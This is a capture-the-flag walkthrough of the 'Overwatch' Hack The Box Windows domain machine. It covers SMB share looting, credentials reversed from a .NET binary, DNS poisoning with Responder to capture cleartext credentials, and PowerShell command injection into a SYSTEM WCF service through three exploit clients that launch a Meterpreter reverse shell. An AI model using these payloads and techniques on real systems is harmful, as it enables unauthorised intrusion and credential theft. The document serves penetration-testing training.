1 RECON
1.1 Port Scan
rustscan -a $targetIp --ulimit 1000 -r 1-65535 -- -A -sC -PnResult:
PORT STATE SERVICE REASON VERSION
53/tcp open tcpwrapped syn-ack
88/tcp open kerberos-sec syn-ack Microsoft Windows Kerberos (server time: 2026-01-25 01:56:01Z)
135/tcp open msrpc syn-ack Microsoft Windows RPC
139/tcp open netbios-ssn syn-ack Microsoft Windows netbios-ssn
389/tcp open ldap syn-ack Microsoft Windows Active Directory LDAP (Domain: overwatch.htb0., Site: Default-First-Site-Name)
445/tcp open microsoft-ds? syn-ack
464/tcp open kpasswd5? syn-ack
593/tcp open ncacn_http syn-ack Microsoft Windows RPC over HTTP 1.0
636/tcp open tcpwrapped syn-ack
3268/tcp open ldap syn-ack Microsoft Windows Active Directory LDAP (Domain: overwatch.htb0., Site: Default-First-Site-Name)
3269/tcp open tcpwrapped syn-ack
3389/tcp open ms-wbt-server syn-ack Microsoft Terminal Services
|_ssl-date: 2026-01-25T01:57:43+00:00; -33s from scanner time.
| rdp-ntlm-info:
| Target_Name: OVERWATCH
| NetBIOS_Domain_Name: OVERWATCH
| NetBIOS_Computer_Name: S200401
| DNS_Domain_Name: overwatch.htb
| DNS_Computer_Name: S200401.overwatch.htb
| DNS_Tree_Name: overwatch.htb
| Product_Version: 10.0.20348
|_ System_Time: 2026-01-25T01:57:04+00:00
| ssl-cert: Subject: commonName=S200401.overwatch.htb
| Issuer: commonName=S200401.overwatch.htb
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2025-12-07T15:16:06
| Not valid after: 2026-06-08T15:16:06
| MD5: 0da8:f9a5:d788:e363:07b1:5f70:6524:ffcb
| SHA-1: 3287:c62d:4408:7fbb:4038:00b3:32fa:da67:fb22:14bc
5985/tcp open http syn-ack Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
|_http-server-header: Microsoft-HTTPAPI/2.0
6520/tcp open ms-sql-s syn-ack Microsoft SQL Server 2022 16.00.1000.00; RTM
|_ms-sql-ntlm-info: ERROR: Script execution failed (use -d to debug)
|_ssl-date: 2026-01-25T01:57:43+00:00; -34s from scanner time.
| ssl-cert: Subject: commonName=SSL_Self_Signed_Fallback
| Issuer: commonName=SSL_Self_Signed_Fallback
| Public Key type: rsa
| Public Key bits: 3072
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2026-01-24T21:23:58
| Not valid after: 2056-01-24T21:23:58
| MD5: 67bb:e800:2ab5:736c:ce49:028e:f601:7bac
| SHA-1: c6fa:53cb:598a:ad79:dd5e:6866:3484:8e57:d354:a0fc
|_ms-sql-info: ERROR: Script execution failed (use -d to debug)
9389/tcp open mc-nmf syn-ack .NET Message Framing
49664/tcp open msrpc syn-ack Microsoft Windows RPC
49668/tcp open msrpc syn-ack Microsoft Windows RPC
53986/tcp open msrpc syn-ack Microsoft Windows RPC
61781/tcp open ncacn_http syn-ack Microsoft Windows RPC over HTTP 1.0
61782/tcp open msrpc syn-ack Microsoft Windows RPC
64077/tcp filtered unknown no-response
64686/tcp open msrpc syn-ack Microsoft Windows RPC
Service Info: Host: S200401; OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
| p2p-conficker:
| Checking for Conficker.C or higher...
| Check 1 (port 63055/tcp): CLEAN (Timeout)
| Check 2 (port 40169/tcp): CLEAN (Timeout)
| Check 3 (port 56235/udp): CLEAN (Timeout)
| Check 4 (port 17394/udp): CLEAN (Timeout)
|_ 0/4 checks are positive: Host is CLEAN or ports are blocked
|_clock-skew: mean: -33s, deviation: 0s, median: -34s
| smb2-security-mode:
| 3:1:1:
|_ Message signing enabled and required
| smb2-time:
| date: 2026-01-25T01:57:04
|_ start_date: N/AHigh-signal factsL
- Domain:
overwatch.htb - Host:
S200401.overwatch.htb - NetBIOS Domain:
OVERWATCH - OS Build:
10.0.20348→ Windows Server 2022 - AD services:
53DNS88Kerberos389/636LDAP/LDAPS3268/3269Global Catalog445SMB
- Remote access:
3389RDP5985WinRM
- Database:
6520MSSQL Server 2022 (!!)
1.2 SMB Probing
First, let's probe SMB and see what we can enumerate.
Start with a NULL session attempt:
nxc smb <IP> -u '' -p '' --shares
nxc smb <IP> -u guest -p '' --sharesResult:
$ nxc smb overwatch.htb -u '' -p '' --shares SMB 10.129.10.38 445 S200401 [*] Windows Server 2022 Build 20348 x64 (name:S200401) (domain:overwatch.htb) (signing:True) (SMBv1:None) (Null Auth:True) SMB 10.129.10.38 445 S200401 [+] overwatch.htb\: SMB 10.129.10.38 445 S200401 [-] Error enumerating shares: STATUS_ACCESS_DENIED $ nxc smb overwatch.htb -u 'guest' -p '' --shares SMB 10.129.10.38 445 S200401 [*] Windows Server 2022 Build 20348 x64 (name:S200401) (domain:overwatch.htb) (signing:True) (SMBv1:None) (Null Auth:True) SMB 10.129.10.38 445 S200401 [+] overwatch.htb\guest: SMB 10.129.10.38 445 S200401 [*] Enumerated shares SMB 10.129.10.38 445 S200401 Share Permissions Remark SMB 10.129.10.38 445 S200401 ----- ----------- ------ SMB 10.129.10.38 445 S200401 ADMIN$ Remote Admin SMB 10.129.10.38 445 S200401 C$ Default share SMB 10.129.10.38 445 S200401 IPC$ READ Remote IPC SMB 10.129.10.38 445 S200401 NETLOGON Logon server share SMB 10.129.10.38 445 S200401 software$ READ SMB 10.129.10.38 445 S200401 SYSVOL Logon server share
guest works and we've got READ on software$, which is 100% meant to leak creds / installers / configs.
2 USER
2.1 SMB
2.1.1 SMB Spidering
NetExec's spider module is perfect for recursive enumeration. With -o DOWNLOAD_FLAG=True, it automatically pulls everything to our host:
nxc smb overwatch.htb -u 'guest' -p '' -M spider_plus -o DOWNLOAD_FLAG=TrueDownloaded contents from software$:
$ tree 10.129.10.38 10.129.10.38 └── software$ └── Monitoring ├── Microsoft.Management.Infrastructure.dll ├── overwatch.exe ├── overwatch.exe.config └── overwatch.pdb 3 directories, 4 files
2.1.2 .NET App
This looks exactly like a .NET monitoring agent drop:
overwatch.exe→ main service/appoverwatch.exe.config→ App configurationoverwatch.pdb→ debug symbols (namespaces, paths)Microsoft.Management.Infrastructure.dll→ hint of WMI/MI usage
2.1.2.1 Leaked Configs
Start with the XML config:
<?xml version="1.0" encoding="utf-8"?>
<configuration>
<configSections>
<!-- For more information on Entity Framework configuration, visit http://go.microsoft.com/fwlink/?LinkID=237468 -->
<section name="entityFramework" type="System.Data.Entity.Internal.ConfigFile.EntityFrameworkSection, EntityFramework, Version=6.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089" requirePermission="false" />
</configSections>
<system.serviceModel>
<services>
<service name="MonitoringService">
<host>
<baseAddresses>
<add baseAddress="http://overwatch.htb:8000/MonitorService" />
</baseAddresses>
</host>
<endpoint address="" binding="basicHttpBinding" contract="IMonitoringService" />
<endpoint address="mex" binding="mexHttpBinding" contract="IMetadataExchange" />
</service>
</services>
<behaviors>
<serviceBehaviors>
<behavior>
<serviceMetadata httpGetEnabled="True" />
<serviceDebug includeExceptionDetailInFaults="True" />
</behavior>
</serviceBehaviors>
</behaviors>
</system.serviceModel>
<entityFramework>
<providers>
<provider invariantName="System.Data.SqlClient" type="System.Data.Entity.SqlServer.SqlProviderServices, EntityFramework.SqlServer" />
<provider invariantName="System.Data.SQLite.EF6" type="System.Data.SQLite.EF6.SQLiteProviderServices, System.Data.SQLite.EF6" />
</providers>
</entityFramework>
<system.data>
<DbProviderFactories>
<remove invariant="System.Data.SQLite.EF6" />
<add name="SQLite Data Provider (Entity Framework 6)" invariant="System.Data.SQLite.EF6" description=".NET Framework Data Provider for SQLite (Entity Framework 6)" type="System.Data.SQLite.EF6.SQLiteProviderFactory, System.Data.SQLite.EF6" />
<remove invariant="System.Data.SQLite" /><add name="SQLite Data Provider" invariant="System.Data.SQLite" description=".NET Framework Data Provider for SQLite" type="System.Data.SQLite.SQLiteFactory, System.Data.SQLite" /></DbProviderFactories>
</system.data>
</configuration>This config leaks a new service endpoint we didn't see in the external scan: MonitoringService at http://overwatch.htb:8000/MonitorService.
But it's not reachable from our side, so it's most likely internal-only (localhost / internal subnet binding).
2.1.2.2 APP Reversing
Next, we reverse overwatch.exe with dnSpy.

Quickly hit hardcoded MSSQL credentials:
private readonly string connectionString =
"Server=localhost;Database=SecurityLogs;User Id=sqlsvc;Password=TI0LKcfHzZw1Vv;";- User:
sqlsvc - Pass:
TI0LKcfHzZw1Vv - DB:
SecurityLogs - Server:
localhost
The app clearly expects SQL access locally, but MSSQL is exposed externally on port 6520 — so we'll try those creds remotely.
Bonus key finding: a clean code execution primitive in KillProcess():
public string KillProcess(string processName)
{
string scriptContents = "Stop-Process -Name " + processName + " -Force";
pipeline.Commands.AddScript(scriptContents);
}That's a straight PowerShell command injection sink if we can call the SOAP method and control processName.
Example dangerous payload conceptually:
C#processName = "a; <payload>"
2.2 MSSQL
2.2.1 MSSQL Enumeration
With the creds from the .NET binary, we can connect to MSSQL on port 6520 using Impacket:
mssqlclient.py 'sqlsvc':'TI0LKcfHzZw1Vv'@overwatch.htb -windows-auth -port 6520Quick enum:
$ mssqlclient.py 'sqlsvc':'TI0LKcfHzZw1Vv'@overwatch.htb -windows-auth -port 6520 Impacket v0.14.0.dev0+20251107.4500.2f1d6eb2 - Copyright Fortra, LLC and its affiliated companies [*] Encryption required, switching to TLS [*] ENVCHANGE(DATABASE): Old Value: master, New Value: master [*] ENVCHANGE(LANGUAGE): Old Value: , New Value: us_english [*] ENVCHANGE(PACKETSIZE): Old Value: 4096, New Value: 16192 [*] INFO(S200401\SQLEXPRESS): Line 1: Changed database context to 'master'. [*] INFO(S200401\SQLEXPRESS): Line 1: Changed language setting to us_english. [*] ACK: Result: 1 - Microsoft SQL Server 2022 RTM (16.0.1000) [!] Press help for extra shell commands SQL (OVERWATCH\sqlsvc guest@master)> enum_ enum_db enum_impersonate enum_links enum_logins enum_owner enum_users SQL (OVERWATCH\sqlsvc guest@master)> enum_db name is_trustworthy_on --------- ----------------- master 0 tempdb 0 model 0 msdb 1 overwatch 0 SQL (OVERWATCH\sqlsvc guest@master)> enum_impersonate execute as database permission_name state_desc grantee grantor ---------- -------- --------------- ---------- ------- ------- SQL (OVERWATCH\sqlsvc guest@master)> enum_links SRV_NAME SRV_PROVIDERNAME SRV_PRODUCT SRV_DATASOURCE SRV_PROVIDERSTRING SRV_LOCATION SRV_CAT ------------------ ---------------- ----------- ------------------ ------------------ ------------ ------- S200401\SQLEXPRESS SQLNCLI SQL Server S200401\SQLEXPRESS NULL NULL NULL SQL07 SQLNCLI SQL Server SQL07 NULL NULL NULL Linked Server Local Login Is Self Mapping Remote Login ------------- ----------- --------------- ------------ SQL (OVERWATCH\sqlsvc guest@master)>
We immediately hit something interesting: a Linked Server named SQL07.
2.2.2 MSSQL Linked Server
Locally we're just guest@master, so the obvious next move is to pivot through the linked server:
SQL (OVERWATCH\sqlsvc guest@master)> use_link SQL07; INFO(S200401\SQLEXPRESS): Line 1: OLE DB provider "MSOLEDBSQL" for linked server "SQL07" returned message "Login timeout expired". INFO(S200401\SQLEXPRESS): Line 1: OLE DB provider "MSOLEDBSQL" for linked server "SQL07" returned message "A network-related or instance-specific error has occurred while establishing a co nnection to SQL Server. Server is not found or not accessible. Check if instance name is correct and if SQL Server is configured to allow remote connections. For more information see SQL S erver Books Online.". ERROR(MSOLEDBSQL): Line 0: Named Pipes Provider: Could not open a connection to SQL Server [64].
This means there's no network path from S200401 → SQL07.
So the linked server exists in config, but S200401\SQLEXPRESS can't currently reach SQL07 (DNS / firewall /
SQL service down/wrong instance name).
Also worth noting: SQL07 doesn't resolve externally, so we can identify it through SQL metadata:
SELECT name, data_source, provider, product FROM sys.servers;
EXEC sp_helpserver;Result:
SQL (OVERWATCH\sqlsvc guest@master)> SELECT name, data_source, provider, product FROM sys.servers; name data_source provider product ------------------ ------------------ -------- ---------- S200401\SQLEXPRESS S200401\SQLEXPRESS SQLNCLI SQL Server SQL07 SQL07 SQLNCLI SQL Server SQL (OVERWATCH\sqlsvc guest@master)> EXEC sp_helpserver; name network_name status id collation_name connect_timeout query_timeout ------------------ ------------------------------ ----------------------------------------------- ---- -------------- --------------- ------------- S200401\SQLEXPRESS b'S200401\\SQLEXPRESS ' b'rpc,rpc out,use remote collation' b'0 ' NULL 0 0 SQL07 b'SQL07 ' b'rpc,rpc out,data access,use remote collation' b'1 ' NULL 0 0
This confirms SQL07 is an internal SQL host:
- It's referenced by hostname only (
SQL07) - That implies it's meant to resolve via internal AD DNS, exists only in the domain network
2.3 DNS
So far we know:
- The linked server
SQL07exists - But access fails with timeout / server not found
That usually means one of three things:
SQL07doesn't resolve in DNS- it resolves to the wrong place
- or the network path is blocked (routing / firewall / service down)
From an attacker perspective, the fun scenario is name resolution. If we can write DNS, then:
We can MAKE
SQL07resolve to wherever we want.
Classic MITM territory.
2.3.1 MicrosoftDNS WRITE Priv
First, check what sqlsvc can write in AD using bloodyAD:
bloodyAD -H overwatch.htb \
-d overwatch.htb \
-u 'sqlsvc' -p 'TI0LKcfHzZw1Vv' \
get writableResult:
$ bloodyAD -H overwatch.htb \ -d overwatch.htb \ -u 'sqlsvc' -p 'TI0LKcfHzZw1Vv' \ get writable distinguishedName: CN=S-1-5-11,CN=ForeignSecurityPrincipals,DC=overwatch,DC=htb permission: WRITE distinguishedName: CN=sqlsvc,CN=Users,DC=overwatch,DC=htb permission: WRITE distinguishedName: DC=overwatch.htb,CN=MicrosoftDNS,DC=DomainDnsZones,DC=overwatch,DC=htb permission: CREATE_CHILD distinguishedName: DC=_msdcs.overwatch.htb,CN=MicrosoftDNS,DC=ForestDnsZones,DC=overwatch,DC=htb permission: CREATE_CHILD
sqlsvc has write power over DNS containers, including:
DomainDnsZones→ The domain DNS zone containerMicrosoftDNS→ The forest_msdcsDNS zone container
That CREATE_CHILD on MicrosoftDNS is the key: it means we can create DNS records, including SQL07.overwatch.htb — and point it to our attacker IP.
2.3.2 DNS Poisoning
Since sqlsvc can create child DNS objects, we can simply add a record for SQL07.
We used to leverage dnstool.py (krbrelayx/dnstool.py at master · dirkjanm/krbrelayx · GitHub) for this kinds of abuse (details in related writeups searching via Hacktag: Filter Hack Techs by Tags | AxuraAxura).

Tools like bloodyAD now support it directly as well.
2.3.2.1 Step 1 - Add New DNS Record
Using bloodyAD:
bloodyAD -H overwatch.htb \
-d overwatch.htb \
-u 'sqlsvc' -p 'TI0LKcfHzZw1Vv' \
add dnsRecord SQL07 $attackerIp2.3.2.2 Step 2 - Prepare MITM Listener
Start Responder:
sudo responder -I tun02.3.2.3 Step 3 - Coerce Auth Traffic
Now we just run use_link SQL07 again from our MSSQL session. This forces the SQL server to "reach out" to SQL07, which now resolves to us.
Responder catches the inbound auth:
[+] Listening for events... [MSSQL] Cleartext Client : 10.129.10.38 [MSSQL] Cleartext Hostname : SQL07 [MSSQL] Cleartext Username : sqlmgmt [MSSQL] Cleartext Password : bIhBbzMMnB82yx
A full credential drop — in cleartext:
sqlmgmt: bIhBbzMMnB82yx2.4 WinRM
Those creds work over WinRM:
$ nxc winrm overwatch.htb -u 'sqlmgmt' -p 'bIhBbzMMnB82yx' WINRM 10.129.10.38 5985 S200401 [*] Windows Server 2022 Build 20348 (name:S200401) (domain:overwatch.htb) WINRM 10.129.10.38 5985 S200401 [+] overwatch.htb\sqlmgmt:bIhBbzMMnB82yx (Pwn3d!) $ evil-winrm -i overwatch.htb -u 'sqlmgmt' -p 'bIhBbzMMnB82yx' *Evil-WinRM* PS C:\Users\sqlmgmt\Documents> whoami /priv PRIVILEGES INFORMATION ---------------------- Privilege Name Description State ============================= ============================== ======= SeMachineAccountPrivilege Add workstations to domain Enabled SeChangeNotifyPrivilege Bypass traverse checking Enabled SeIncreaseWorkingSetPrivilege Increase a process working set Enabled *Evil-WinRM* PS C:\Users\sqlmgmt\Documents> type ..\desktop\user.txt 9*************************6
User flag secured.
3 ROOT
3.1 PID 4: HTTP.SYS Binding
Now that we have a WinRM foothold, the next thing to check is that suspicious port 8000 from the config leak.
Running netstat confirms it's actually listening:
*Evil-WinRM* PS C:\temp> netstat -ano Active Connections Proto Local Address Foreign Address State PID TCP 0.0.0.0:88 0.0.0.0:0 LISTENING 692 TCP 0.0.0.0:135 0.0.0.0:0 LISTENING 924 TCP 0.0.0.0:389 0.0.0.0:0 LISTENING 692 TCP 0.0.0.0:445 0.0.0.0:0 LISTENING 4 TCP 0.0.0.0:464 0.0.0.0:0 LISTENING 692 TCP 0.0.0.0:593 0.0.0.0:0 LISTENING 924 TCP 0.0.0.0:636 0.0.0.0:0 LISTENING 692 TCP 0.0.0.0:3268 0.0.0.0:0 LISTENING 692 TCP 0.0.0.0:3269 0.0.0.0:0 LISTENING 692 TCP 0.0.0.0:3389 0.0.0.0:0 LISTENING 424 TCP 0.0.0.0:5985 0.0.0.0:0 LISTENING 4 TCP 0.0.0.0:6520 0.0.0.0:0 LISTENING 1324 TCP 0.0.0.0:8000 0.0.0.0:0 LISTENING 4 TCP 0.0.0.0:9389 0.0.0.0:0 LISTENING 2916 TCP 0.0.0.0:47001 0.0.0.0:0 LISTENING 4 TCP 0.0.0.0:49664 0.0.0.0:0 LISTENING 692
Port 8000 is bound to PID 4, which means it's running behind SYSTEM via HTTP.SYS.
On Windows, listeners showing PID 4 usually belong to the kernel HTTP stack (
HTTP.SYS) or core system services, not a normal userland process.
That's why it's common to see PID 4 on things like:
445SMB5985WinRM (HTTP.SYS)47001WinRM / WSMan
In our case, 8000 is also sitting behind SYSTEM — and since we already saw MonitoringService in the config, this instantly smells like a privesc path to SYSTEM.
To enumerate registered HTTP endpoints, we can dump the HTTP service state:
netsh http show servicestateResult:
*Evil-WinRM* PS C:\temp> netsh http show servicestate Snapshot of HTTP service state (Server Session View): ----------------------------------------------------- Server session ID: FF00000010000001 Version: 1.0 State: Active Properties: Max bandwidth: 4294967295 Timeouts: Entity body timeout (secs): 120 Drain entity body timeout (secs): 120 Request queue timeout (secs): 120 Idle connection timeout (secs): 120 Header wait timeout (secs): 120 Minimum send rate (bytes/sec): 150 URL groups: URL group ID: FE00000020000001 State: Active Request queue name: Request queue is unnamed. Properties: Max bandwidth: inherited Max connections: inherited Timeouts: Timeout values inherited Number of registered URLs: 2 Registered URLs: HTTP://+:5985/WSMAN/ HTTP://+:47001/WSMAN/ Server session ID: FF00000110000001 Version: 2.0 State: Active Properties: Max bandwidth: 4294967295 Timeouts: Entity body timeout (secs): 120 Drain entity body timeout (secs): 120 Request queue timeout (secs): 120 Idle connection timeout (secs): 120 Header wait timeout (secs): 120 Minimum send rate (bytes/sec): 150 URL groups: URL group ID: FD00000020000001 State: Active Request queue name: Request queue is unnamed. Properties: Max bandwidth: inherited Max connections: inherited Timeouts: Timeout values inherited Number of registered URLs: 1 Registered URLs: HTTP://+:8000/MONITORSERVICE/ Request queues: Request queue name: Request queue is unnamed. Version: 1.0 State: Active Request queue 503 verbosity level: Basic Max requests: 1000 Number of active processes attached: 1 Processes: ID: 2528, image: <?> Registered URLs: HTTP://+:5985/WSMAN/ HTTP://+:47001/WSMAN/ Request queue name: Request queue is unnamed. Version: 2.0 State: Active Request queue 503 verbosity level: Basic Max requests: 1000 Number of active processes attached: 1 Processes: ID: 4648, image: <?> Registered URLs: HTTP://+:8000/MONITORSERVICE/
The exact path for the target service is /MONITORSERVICE/:
http://127.0.0.1:8000/MONITORSERVICE/his isn't a normal IIS-style website.
It's a service endpoint, designed to expose callable methods over HTTP.
In other words: WCF.
3.2 Service Tech Stack
From the exfiltrated overwatch.exe.config:
<system.serviceModel>
<services>
<service name="MonitoringService">
...
<endpoint address="" binding="basicHttpBinding" contract="IMonitoringService" />
<endpoint address="mex" binding="mexHttpBinding" contract="IMetadataExchange" />
</service>
</services>
</system.serviceModel>system.serviceModel= WCF configuration section (this is Microsoft's WCF stack)endpoint ... binding="basicHttpBinding"= classic WCF SOAP bindingmexHttpBinding+IMetadataExchange= WCF metadata endpoint (MEX)
3.2.1 WCF
WCF (Windows Communication Foundation) is Microsoft's framework for building "network services". Think of it as Windows-style RPC over HTTP.
A service exposes methods like:
Register()Login("user", "password")
…and clients call them remotely.
From decompilation, we saw:
public class MonitoringService : IMonitoringServiceThat naming pattern is textbook WCF:
IMonitoringService= the "contract" (interface)MonitoringService= the implementation
The methods also match the service-RPC style:
StartMonitoring()StopMonitoring()KillProcess(string processName)
More details: WCF and ASP.NET Web API - WCF | Microsoft Learn
3.2.2 SOAP
SOAP is an API protocol that wraps method calls in XML over HTTP.
Instead of REST JSON like:
POST /kill
{"process":"notepad"}SOAP sends an XML envelope like:
<Envelope>
<Body>
<KillProcess>
<processName>notepad</processName>
</KillProcess>
</Body>
</Envelope>So essentially:
SOAP = "call remote functions using XML messages".
And since the config uses basicHttpBinding, this service is speaking SOAP over HTTP.
3.3 Service Endpoints
3.3.1 SOAP Metadata
The service is exposed via basicHttpBinding (SOAP over HTTP), and the config suggests metadata was intended:
<endpoint address="" binding="basicHttpBinding" contract="IMonitoringService" />
<endpoint address="mex" binding="mexHttpBinding" contract="IMetadataExchange" />In theory:
- WSDL (
?wsdl) is the SOAP "API blueprint" (operations + namespaces + request format). - MEX (
/mex) is WCF's metadata exchange endpoint.
But in practice, both were not usable:
*Evil-WinRM* PS C:\temp> curl "http://127.0.0.1:8000/MONITORSERVICE/?wsdl" The remote server returned an error: (400) Bad Request. At line:1 char:1 + curl "http://127.0.0.1:8000/MONITORSERVICE/?wsdl" + ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ + CategoryInfo : InvalidOperation: (System.Net.HttpWebRequest:HttpWebRequest) [Invoke-WebRequest], WebException + FullyQualifiedErrorId : WebCmdletWebResponseException,Microsoft.PowerShell.Commands.InvokeWebRequestCommand *Evil-WinRM* PS C:\temp> iwr -UseBasicParsing http://127.0.0.1:8000/MONITORSERVICE/ The remote server returned an error: (400) Bad Request. At line:1 char:1 + iwr -UseBasicParsing http://127.0.0.1:8000/MONITORSERVICE/ + ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ + CategoryInfo : InvalidOperation: (System.Net.HttpWebRequest:HttpWebRequest) [Invoke-WebRequest], WebException + FullyQualifiedErrorId : WebCmdletWebResponseException,Microsoft.PowerShell.Commands.InvokeWebRequestCommand
GET /MONITORSERVICE/→400 Bad RequestGET /MONITORSERVICE/?wsdl→400 Bad Request
So instead of relying on WSDL/MEX, we derived the service contract by decompiling the .NET binary.
3.3.2 Contracts
In WCF, a contract is the service's exposed API. It defines:
- which operations exist
- what parameters they take
- what they return
- the interface/namespace identifying the service
In code, it's typically an interface marked with [ServiceContract], where each callable method is an [OperationContract].
From the decompiled interface IMonitoringService inside overwatch.exe:
using System;
using System.ServiceModel;
// Token: 0x02000002 RID: 2
[ServiceContract]
public interface IMonitoringService
{
// Token: 0x06000001 RID: 1
[OperationContract] string StartMonitoring();
// Token: 0x06000002 RID: 2
[OperationContract] string StopMonitoring();
// Token: 0x06000003 RID: 3
[OperationContract] string KillProcess(string processName);
}Since metadata retrieval was dead, the binary became our source of truth — giving us the same intel WSDL normally would:
- interface name:
IMonitoringService - operations:
StartMonitoring,StopMonitoring,KillProcess - parameter types:
string processName
More detals: Contracts - WCF | Microsoft Learn
3.4 Command Injection Exploit
We already spotted the PowerShell injection sink back in section 2.1.2.2 while reversing overwatch.exe. The issue lives inside KillProcess():
public string KillProcess(string processName)
{
string scriptContents = "Stop-Process -Name " + processName + " -Force";
pipeline.Commands.AddScript(scriptContents);
}All we need is access to the WCF endpoint (http://127.0.0.1:8000/MONITORSERVICE/), then call KillProcess() and inject PowerShell via processName to get code execution.
3.4.1 MSF Setup:
Generate a Meterpreter payload:
msfvenom -p windows/x64/meterpreter/reverse_tcp \
LHOST=$attackerIp \
LPORT=443 \
-f exe \
-o msf.exeUpload it to victim machine (C:\temp\msf.exe):
*Evil-WinRM* PS C:\temp> upload msf.exe Info: Uploading /home/Axura/ctf/HTB/overwatch/msf.exe to C:\temp\msf.exe Data: 10240 bytes of 10240 bytes copied Info: Upload successful!
Start the handler:
$ sudo msfconsole -q msf > use exploit/multi/handler [*] Using configured payload generic/shell_reverse_tcp msf exploit(multi/handler) > set payload windows/x64/meterpreter/reverse_tcp payload => windows/x64/meterpreter/reverse_tcp msf exploit(multi/handler) > set lhost tun0 lhost => tun0 msf exploit(multi/handler) > set lport 443 lport => 443 msf exploit(multi/handler) > run [*] Started reverse TCP handler on 10.10.12.37:443
3.4.2 Exp 1: WCF Client (ChannelFactory)
Since WSDL/MEX wasn't accessible, we interacted with the service by re-implementing the recovered interface and building a client via ChannelFactory (ChannelFactory Class (System.ServiceModel) | Microsoft Learn).
Create a simple wcf.cs:
using System;
using System.ServiceModel;
[ServiceContract]
public interface IMonitoringService
{
[OperationContract]
string KillProcess(string processName);
}
class Program
{
// [!] Command injection
const string cmd = "Start-Process 'C:\\temp\\msf.exe'";
static void Main()
{
var binding = new BasicHttpBinding();
var ep = new EndpointAddress("http://127.0.0.1:8000/MONITORSERVICE/");
var proxy = new ChannelFactory<IMonitoringService>(binding, ep).CreateChannel();
Console.WriteLine(proxy.KillProcess("notepad; " + cmd + "#"));
}
}Find csc.exe, compile, and run:
# common path searching for csc.exe
dir C:\Windows\Microsoft.NET\Framework64\*\csc.exe
# compile
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe `
/out:C:\temp\wcf.exe `
C:\temp\wcf.cs
# run
C:\temp\wcf.exeMSF Captures a SYSTEM callback:
msf exploit(multi/handler) > run [*] Started reverse TCP handler on 10.10.12.37:443 [*] Sending stage (230982 bytes) to 10.129.10.38 [*] Meterpreter session 1 opened (10.10.12.37:443 -> 10.129.10.38:50230) at 2026-01-24 23:17: 47 -0800 meterpreter > getuid Server username: NT AUTHORITY\SYSTEM meterpreter > cat C:\\Users\\Administrator\\Desktop\\root.txt 6****************************3
Rooted.
3.4.3 Exp 2: Manual SOAP
We can also hit the endpoint directly with a raw SOAP POST via native HttpWebRequest object:
using System;
using System.Net;
using System.Text;
using System.IO;
class Program
{
static void Main()
{
string url = "http://127.0.0.1:8000/MONITORSERVICE/";
// [!] Command injection
const string cmd = "Start-Process 'C:\\temp\\msf.exe'";
// 2) SOAPAction header: method selector
string soapAction = "http://tempuri.org/IMonitoringService/KillProcess";
// 3) Build request body with the cmd inserted
string processName = "notepad; " + cmd + "#";
string soap =
"<?xml version=\"1.0\" encoding=\"utf-8\"?>\n" +
"<s:Envelope xmlns:s=\"http://schemas.xmlsoap.org/soap/envelope/\">\n" +
" <s:Body>\n" +
" <KillProcess xmlns=\"http://tempuri.org/\">\n" +
" <processName>" + SecurityElementEscape(processName) + "</processName>\n" +
" </KillProcess>\n" +
" </s:Body>\n" +
"</s:Envelope>";
var req = (HttpWebRequest)WebRequest.Create(url);
req.Method = "POST";
req.ContentType = "text/xml; charset=utf-8";
req.Headers.Add("SOAPAction", soapAction);
byte[] bytes = Encoding.UTF8.GetBytes(soap);
req.ContentLength = bytes.Length;
using (var s = req.GetRequestStream())
s.Write(bytes, 0, bytes.Length);
string resp = new StreamReader(req.GetResponse().GetResponseStream()).ReadToEnd();
Console.WriteLine(resp);
}
// XML escaping for processName
static string SecurityElementEscape(string s)
{
return s.Replace("&", "&")
.Replace("<", "<")
.Replace(">", ">")
.Replace("\"", """)
.Replace("'", "'");
}
}WCF uses the SOAPAction header to decide which method we are calling.
A SOAP request is basically two layers:
- HTTP headers (routing / metadata)
- SOAP XML body (the actual payload)
Normally, the SOAPAction and namespace come straight from WSDL. Since
?wsdl/ MEX returned400, we inferred the namespace manually. Many WCF services default tohttp://tempuri.org/.
Reference: Tempuri - Wikipedia
More details: Protocol headers - IBM Documentation
3.4.4 Exp 3: PowerShell WCF Client
If we want it fully in-memory (no compiling), PowerShell works too:
# wcf.ps1
Add-Type -AssemblyName System.ServiceModel
$cmd = "Start-Process 'C:\temp\msf.exe' "
$code = @"
using System;
using System.ServiceModel;
[ServiceContract]
public interface IMonitoringService
{
[OperationContract]
string KillProcess(string processName);
}
"@
Add-Type -TypeDefinition $code -ReferencedAssemblies "System.ServiceModel.dll"
$binding = New-Object System.ServiceModel.BasicHttpBinding
$endpoint = New-Object System.ServiceModel.EndpointAddress("http://127.0.0.1:8000/MONITORSERVICE/")
$factory = New-Object System.ServiceModel.ChannelFactory[IMonitoringService]($binding, $endpoint)
$proxy = $factory.CreateChannel()
$processName = "notepad; " + $cmd + " #"
$proxy.KillProcess($processName)Rooted:

Comments | NOTHING